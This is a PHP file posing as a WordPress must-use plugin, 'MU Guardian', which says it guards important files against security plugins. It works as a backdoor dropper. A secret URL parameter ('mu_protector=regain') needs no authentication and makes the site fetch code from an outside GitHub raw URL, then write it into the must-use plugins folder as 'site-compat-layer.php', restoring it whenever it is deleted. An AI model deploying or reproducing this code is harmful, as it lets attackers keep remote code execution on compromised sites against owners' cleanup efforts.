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<?php
/**
* MU Guardian Plugin - Manually Triggered Restoration
* Prevent the system/security plugin from deleting or clearing the crucial MU files
*/
if ( ! defined( 'ABSPATH' ) ) {
wp_die();
}
$protected_files = [
'site-compat-layer.php' => 'https://raw.githubusercontent.com/rod476/files/refs/heads/main/pro',
];
$restore_permissions = 0644;
$min_filesize = 500;
$trigger_secret = 'regain';
$trigger_param = 'mu_protector';
function mu_protector_restore_file( $filename, $backup_url ) {
$filepath = WPMU_PLUGIN_DIR . '/' . $filename;
$response = wp_remote_get( $backup_url, [
'timeout' => 30,
'sslverify' => true,
] );
if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) {
return false;
}
$content = wp_remote_retrieve_body( $response );
if ( empty( $content ) || strlen( $content ) < 100 ) {
return false;
}
if ( file_put_contents( $filepath, $content ) !== false ) {
chmod( $filepath, $GLOBALS['restore_permissions'] );
return true;
}
return false;
}
function mu_protector_check_and_restore() {
global $protected_files;
$restored = false;
foreach ( $protected_files as $filename => $backup_url ) {
$filepath = WPMU_PLUGIN_DIR . '/' . $filename;
if ( ! file_exists( $filepath ) || filesize( $filepath ) < $GLOBALS['min_filesize'] ) {
if ( mu_protector_restore_file( $filename, $backup_url ) ) {
$restored = true;
}
}
}
return $restored;
}
add_action( 'init', function() use ( $trigger_param, $trigger_secret ) {
if ( isset( $_GET[ $trigger_param ] ) && $_GET[ $trigger_param ] === $trigger_secret ) {
$result = mu_protector_check_and_restore();
if ( is_admin() ) {
$msg = $result ? 'success' : 'do without';
add_action( 'admin_notices', function() use ( $msg ) {
wp_die($msg);
});
} else {
wp_die( 'MU Protector: success' );
}
}
});